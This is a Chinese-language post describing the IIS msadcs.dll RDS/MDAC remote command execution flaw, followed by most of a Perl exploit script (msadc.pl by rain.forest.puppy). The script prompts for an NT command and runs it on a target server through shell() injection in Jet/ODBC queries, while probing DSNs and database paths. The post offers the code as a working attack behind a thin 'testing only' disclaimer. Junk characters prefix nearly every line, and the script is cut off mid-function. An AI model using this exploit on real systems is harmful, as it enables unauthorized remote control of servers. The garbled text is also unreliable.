IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ort(AfW 76SXJ9@x 涉及程序:
\U0'P;em Microsoft NT server
E{@[k%,_ "M0z(NkH 描述:
qgB_=Q#E 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9H~n_ $VR{q6[0S? 详细:
i~72bMwsA 如果你没有时间读详细内容的话,就删除:
=pr7G+_u c:\Program Files\Common Files\System\Msadc\msadcs.dll
YkADk9fE 有关的安全问题就没有了。
A}w/OA97RO ?A0)L27UE& 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
O0:q;<>z |BYRe1l6l 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ykJ>*z 关于利用ODBC远程漏洞的描述,请参看:
C,zohlpC 7$#u http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm kf9X$d6 ; @X<lCk 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
ig"L\ C"T http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^?|"L>y l"]V6!-U 这里不再论述。
1Ws9WU H*6W q 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
R-14=|7a- #;S*V" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
v^PO|Z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
NlXimq 1mJHued=6 sRfcF`7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
zeRyL3fnmb m+9#5a- #!perl
;a3}~s #
|a@L}m # MSADC/RDS 'usage' (aka exploit) script
0 {mex4 #
Zd&S@Z # by rain.forest.puppy
('~LMu_ #
&Qm@9I s # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,,TnIouy # beta test and find errors!
4K74=r),i *ui</+ use Socket; use Getopt::Std;
6B-16 getopts("e:vd:h:XR", \%args);
t,'<gI JtZ7ti print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
=M-p/uB] wY}@'pzX if (!defined $args{h} && !defined $args{R}) {
s^SJY{ print qq~
]^]wP]R_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
=H~j,K -h <host> = host you want to scan (ip or domain)
u:EiwRW -d <seconds> = delay between calls, default 1 second
`X8F`5&U\f -X = dump Index Server path table, if available
V.Mry`9- -v = verbose
TC"<g -e = external dictionary file for step 5
QW"! (`K MQ4KdqgP Or a -R will resume a command session
05[SC}MCA %)wjR/o ~; exit;}
\v/[6&|X0s Ss`LLq0LO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^}r1;W?n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T0
{L q: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r*Xuj= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
28nFRr $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
SAz if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=">NQ)98u Mp]rUPK if (!defined $args{R}){ $ret = &has_msadc;
pJ{Y
lS{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
W>LR\]Ti@ D,6:EV"sa print "Please type the NT commandline you want to run (cmd /c assumed):\n"
t&p|Ynz?i . "cmd /c ";
'PHl$f*k $in=<STDIN>; chomp $in;
+h$
9\ $command="cmd /c " . $in ;
cnLro
3CJwj if (defined $args{R}) {&load; exit;}
KTv$ ;Xw~D_uv print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
d'2A,B~_* &try_btcustmr;
~5g ~;f[4 `{Ul! print "\nStep 2: Trying to make our own DSN...";
1Z;iV<d &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
c9Yrw^ o(HbGHIP print "\nStep 3: Trying known DSNs...";
<QvOs@i* &known_dsn;
@8
6f OKV8zO print "\nStep 4: Trying known .mdbs...";
NO3/rJ6- &known_mdb;
j#6.Gq n*$ g]G$ if (defined $args{e}){
e;jdqF~v! print "\nStep 5: Trying dictionary of DSN names...";
'Vbi VLWD &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ME dWLFf UI#h&j5pW print "Sorry Charley...maybe next time?\n";
W4N{S.#! exit;
=#\:}@J5I If.r5z9 ##############################################################################
Q20%"&Xp] he4(hX^ sub sendraw { # ripped and modded from whisker
)*[3Vq sleep($delay); # it's a DoS on the server! At least on mine...
BzzTGWq\ my ($pstr)=@_;
:Sma`U& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g5yJfRLxp die("Socket problems\n");
]?*wbxU0 if(connect(S,pack "SnA4x8",2,80,$target)){
r3Ykz%6 select(S); $|=1;
/o[w4d8 print $pstr; my @in=<S>;
Q;u pau select(STDOUT); close(S);
HV.t6@\}; return @in;
O84i;S+-p } else { die("Can't connect...\n"); }}
&NWEqBz*2 g'gdgfvn ##############################################################################
#S(Hd?34, v1[29t<I! sub make_header { # make the HTTP request
XRH!]! my $msadc=<<EOT
Uv.)?YeGh POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wbHb;] User-Agent: ACTIVEDATA
TNth Host: $ip
+0~YP*I`/ Content-Length: $clen
grYe&(`X Connection: Keep-Alive
pFXEu=$3 Y7aqO5 ADCClientVersion:01.06
/NlGFO*Z Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
yw!{MO ]3gSQ7 --!ADM!ROX!YOUR!WORLD!
Qd-A.{[h Content-Type: application/x-varg
$k?>DP4 Content-Length: $reqlen
Y}/-C3) P%6~&woF EOT
<m m[S ; $msadc=~s/\n/\r\n/g;
i$@:@&(~Y return $msadc;}
rc{v$.o0 hj:,S| ##############################################################################
#?E"x/$Y6 9FvFhY sub make_req { # make the RDS request
g*Phv|kI my ($switch, $p1, $p2)=@_;
'7/)Ot( my $req=""; my $t1, $t2, $query, $dsn;
B6"0OIDY" _+,TT['57s if ($switch==1){ # this is the btcustmr.mdb query
gSgr6TH0 $query="Select * from Customers where City=" . make_shell();
Gq6*SaTk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<UI
[%yXj $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<[phnU^
8 s S
Mh`4' elsif ($switch==2){ # this is general make table query
(ZGbhMK $query="create table AZZ (B int, C varchar(10))";
<Uur^uB $dsn="$p1";}
y(&Ac[foS} 6mE\OS-I elsif ($switch==3){ # this is general exploit table query
y2v^-q3 $query="select * from AZZ where C=" . make_shell();
iwq!w6+ $dsn="$p1";}
F:VIzyMq< GeqPRah elsif ($switch==4){ # attempt to hork file info from index server
:Al!1BJQ $query="select path from scope()";
5bIw?%dk( $dsn="Provider=MSIDXS;";}
SKtr tm y9;Yivr) elsif ($switch==5){ # bad query
=vPj%oLp'a $query="select";
[Zrr)8A $dsn="$p1";}
XG?8s
& Fs{*XKv&lH $t1= make_unicode($query);
omFz@ $t2= make_unicode($dsn);
@ 7u 0v $req = "\x02\x00\x03\x00";
[m -bV$-d $req.= "\x08\x00" . pack ("S1", length($t1));
\G BuWY3B $req.= "\x00\x00" . $t1 ;
[RL9>n8f $req.= "\x08\x00" . pack ("S1", length($t2));
>sF)BoLc $req.= "\x00\x00" . $t2 ;
4
:v=pZ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
edD)TpmE, return $req;}
(BM47D=v .d*8C, ##############################################################################
FsPw1A$y :DNjhZ sub make_shell { # this makes the shell() statement
RNL9>7xV return "'|shell(\"$command\")|'";}
"|NI]Kv wq{hF< ##############################################################################
;|RTx Q/?$x*\> sub make_unicode { # quick little function to convert to unicode
[K Qi.u my ($in)=@_; my $out;
Kq!3wb; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
}b}m3i1 return $out;}
df=f62 ~~.}ah/_d ##############################################################################
ta0|^KAA k'YTpO sub rdo_success { # checks for RDO return success (this is kludge)
zqku e%^?- my (@in) = @_; my $base=content_start(@in);
7^285)UQA if($in[$base]=~/multipart\/mixed/){
NHt\
U9l' return 1 if( $in[$base+10]=~/^\x09\x00/ );}
rjP/l6
~' return 0;}
@CoIaUVP lYIH/:T ##############################################################################
`XKLU iCoX&"lb sub make_dsn { # this makes a DSN for us
"tZe>>I my @drives=("c","d","e","f");
K:M8h{Ua print "\nMaking DSN: ";
=D(j)<9$A foreach $drive (@drives) {
h(4v8ae print "$drive: ";
AX INThJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]|@^1we "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"4Nt\WQ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
+_!QSU,@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
\wZe] G%S return 0 if $2 eq "404"; # not found/doesn't exist
bD^owa if($2 eq "200") {
YUb_y^B^ foreach $line (@results) {
RCrCs return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;a/E42eN; } return 0;}
:0/7, i #4:?gfIj ##############################################################################
#mT"gs `^vE9nW7 sub verify_exists {
sKWfXCd my ($page)=@_;
z}<^jgJ my @results=sendraw("GET $page HTTP/1.0\n\n");
_`V'r#Qn return $results[0];}
`L
zPotz wzA$'+Mb ##############################################################################
=|=(l)8 &m3lXl sub try_btcustmr {
0Gk<l{o?^ my @drives=("c","d","e","f");
dr(*T my @dirs=("winnt","winnt35","winnt351","win","windows");
m 5.Zu. v19-./H^
j foreach $dir (@dirs) {
4*L_)z&4; print "$dir -> "; # fun status so you can see progress
@~e5<:|5# foreach $drive (@drives) {
+vH4MwG$.& print "$drive: "; # ditto
EnR}IY&sI $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!if $reqlenlen=length( "$reqlen" );
wJ]d&::@h $clen= 206 + $reqlenlen + $reqlen;
]]mJ']l ZNoDFf*h my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\m,PA'nd/ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ig!+2g else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
uH]OEz\H' |>Vb9:q9Po ##############################################################################
*hx @FeTz[ sub odbc_error {
w(/S?d
my (@in)=@_; my $base;
8y L Y my $base = content_start(@in);
-~0^P,yQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=&]L00u. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M7T5
~/4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+R &gqja $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q?vlfZR`8 return $in[$base+4].$in[$base+5].$in[$base+6];}
2 nCA<& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
vQCy\Gi print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
l-Z4Mq6*L $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"[J^YKoF AKC`TA*E ##############################################################################
fex@,I&
W4S,6( sub verbose {
A&VG~r$ my ($in)=@_;
b;n[mk
return if !$verbose;
2ESo2 print STDOUT "\n$in\n";}
3S{/>1Y DVA:Cmh\ ##############################################################################
U/U);frH K-4PI+qQ\ sub save {
z_HdISy0 my ($p1, $p2, $p3, $p4)=@_;
)e{aN+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]G\}k print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@]j1:PN-
close OUT;}
^!d3=}:0 @dKTx#gZ ##############################################################################
J5qZFD s[jTP(d)8 sub load {
K0~rN.C!0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TbU#96"~. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TH;hO).u @p=<IN>; close(IN);
8tL~FiHb" $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
LV Ge]lD $target= inet_aton($ip) || die("inet_aton problems");
l#o
~W` print "Resuming to $ip ...";
*@5 @,=d $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
CJ}%W# if($p[1]==1) {
)7F/O3Tq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%J(:ADu] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
la!~\wpa my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
lxx2H1([ if (rdo_success(@results)){print "Success!\n";}
fhiM U8(& else { print "failed\n"; verbose(odbc_error(@results));}}
M3\AY30L elsif ($p[1]==3){
K?;DMUSY\ if(run_query("$p[3]")){
`yyG/l print "Success!\n";} else { print "failed\n"; }}
HPl<%%TI elsif ($p[1]==4){
L!9 2P{ K if(run_query($drvst . "$p[3]")){
K-v#.e4 print "Success!\n"; } else { print "failed\n"; }}
j#|ZP-=1_ exit;}
X?O[r3< ah "o~Cbj ##############################################################################
}bxs]?OW> 3]Ct6 sub create_table {
d]9z@Pd my ($in)=@_;
wk^B"+Uhy $reqlen=length( make_req(2,$in,"") ) - 28;
kiEa<-] $reqlenlen=length( "$reqlen" );
2y4bwi $clen= 206 + $reqlenlen + $reqlen;
sJZiI}Xc my @results=sendraw(make_header() . make_req(2,$in,""));
_BufO7`. return 1 if rdo_success(@results);
llq<egZpm my $temp= odbc_error(@results); verbose($temp);
"oyo#-5z return 1 if $temp=~/Table 'AZZ' already exists/;
9 hl_|r~%* return 0;}
\bXa&Lq vx
=&QavL ##############################################################################
pglVR </
mh%VrAq sub known_dsn {
F59 TZI # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}MySaL> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Gv&V|7-f0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@7}W=HB "banner", "banners", "ads", "ADCDemo", "ADCTest");
UKGPtKE< C!gZN9- foreach $dSn (@dsns) {
4euO1= print ".";
PT
~D",k next if (!is_access("DSN=$dSn"));
sOY:e/_F if(create_table("DSN=$dSn")){
kZ~~/?B print "$dSn successful\n";
qq?!LEZ if(run_query("DSN=$dSn")){
DU^loB+ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GgU/!@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
st*gs-8jJ; MV"=19] ##############################################################################
)7@0[> qs6aB0ln sub is_access {
KvSG; my ($in)=@_;
iU-j"&L5 $reqlen=length( make_req(5,$in,"") ) - 28;
kfNWI#'9
$reqlenlen=length( "$reqlen" );
:UdF $clen= 206 + $reqlenlen + $reqlen;
A&{Nh` q my @results=sendraw(make_header() . make_req(5,$in,""));
]n~V!hl?A my $temp= odbc_error(@results);
*hrd5na verbose($temp); return 1 if ($temp=~/Microsoft Access/);
=Qq+4F)MD return 0;}
Efe 7gE' ysN3 ##############################################################################
9uY'E'm* 0:+E-^X sub run_query {
6@o*xK7L my ($in)=@_;
c> af $reqlen=length( make_req(3,$in,"") ) - 28;
4Hg9N} $reqlenlen=length( "$reqlen" );
$e\M_hp*J $clen= 206 + $reqlenlen + $reqlen;
lr?;*f^3
my @results=sendraw(make_header() . make_req(3,$in,""));
ijcm2FJcG return 1 if rdo_success(@results);
Ru XC(qcq my $temp= odbc_error(@results); verbose($temp);
Bx!-"e return 0;}
=sFTxd_"iQ 5xde; ##############################################################################
4 :=]<sc, _ |p8M!
sub known_mdb {
H]!"Zq k my @drives=("c","d","e","f","g");
\jA~9 my @dirs=("winnt","winnt35","winnt351","win","windows");
M2|is ~ my $dir, $drive, $mdb;
O f#: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"KlwA.7/ =xrv~ # this is sparse, because I don't know of many
z2c6T.1M my @sysmdbs=( "\\catroot\\icatalog.mdb",
HDKbF/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-8Xf0_ "\\system32\\certmdb.mdb",
2tLJU Z1 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
F/Pep?' Wm|lSisY my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:KN-F86i "\\cfusion\\cfapps\\forums\\forums_.mdb",
_6Ha "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
yNc2@ "\\cfusion\\cfapps\\security\\realm_.mdb",
G`zm@QL "\\cfusion\\cfapps\\security\\data\\realm.mdb",
zJXplvaL;
"\\cfusion\\database\\cfexamples.mdb",
-+5>|N# "\\cfusion\\database\\cfsnippets.mdb",
fV:83|eQ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&R siVBA "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m4& /s "\\cfusion\\brighttiger\\database\\cleam.mdb",
^&)|sP "\\cfusion\\database\\smpolicy.mdb",
fatf*}eln "\\cfusion\\database\cypress.mdb",
|' . "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
w:l"\Tm "\\website\\cgi-win\\dbsample.mdb",
nd(S3rct& "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
BC]?0 U "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!wp3!bLp ); #these are just
}i2V.tVB- foreach $drive (@drives) {
Th[dW<